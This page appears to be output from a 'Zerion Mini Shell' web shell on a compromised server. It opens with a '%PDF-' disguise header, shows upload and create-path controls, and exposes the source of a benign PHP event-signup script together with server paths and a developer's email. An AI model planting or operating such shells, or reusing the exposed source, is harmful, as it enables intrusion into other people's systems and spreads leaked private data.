%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /data/www_bck/varak.net_bck/suiteshooters.varak.net/app/
Upload File :
Create Path :
Current File : //data/www_bck/varak.net_bck/suiteshooters.varak.net/app/signup.php

<?php
/**
 * Created by IntelliJ IDEA.
 * User: mvarak
 * Date: 3/29/2017
 * Time: 9:09 AM
 */
use Nette\Mail\Message;

$signed = dibi::query("SELECT 1 FROM [attendees] WHERE [event]=%i AND [user]=%i", $id, $_SESSION['userId'])->fetchSingle();

if(!$signed)
{
    // Generate ics data
    $eventData = dibi::query("SELECT [id], [startDate], [endDate], [name] FROM [events] WHERE [id]=%i", $id);
    $smarty->assign('eventData', $eventData);
    $smarty->assign('tz', new DateTimeZone("UTC"));
    $calendar = $smarty->fetch("ical.tpl");

    $data = array(
        'event' => $id,
        'user' => $_SESSION['userId'],
        'token' => trim(file_get_contents('/proc/sys/kernel/random/uuid'))
    );
    dibi::query("INSERT INTO [attendees]", $data);
    $userMail = dibi::query("SELECT [userMail] FROM [users] WHERE [id]=%i", $_SESSION['userId'])->fetchSingle();
    $mailer = new Nette\Mail\SmtpMailer([
        'host' => 'localhost',
    ]);
    $event = dibi::query("SELECT [startDate], [name], [location] FROM [events] WHERE [id]=%i", $id)->fetch();
    $smarty->assign('startDate', $event->startDate);
    $smarty->assign('name', $event->name);
    $smarty->assign('location', $event->location);
    $smarty->assign('eventId', $id);
    $smarty->assign('token', $data['token']);
    $mail = new Message;
    $mail->setFrom('Martin Vařák <martin@varak.net>')
        ->addTo((string)$userMail)
        ->setSubject('SuiteShooters event registration - ' . $event->name . " on " . $event->startDate->format("d. m. Y"))
        ->setHTMLBody($smarty->fetch('signup-mail.tpl'))
        ->addAttachment("event.ics", $calendar, "text/calendar");
    $mailer->send($mail);

    include "trigger-watch.php";

    header("Location: index.php?action=event-detail&id=$id");
}
else
{
    $smarty->assign('errorMessage', "You are already signed up for this event!");
}

Zerion Mini Shell 1.0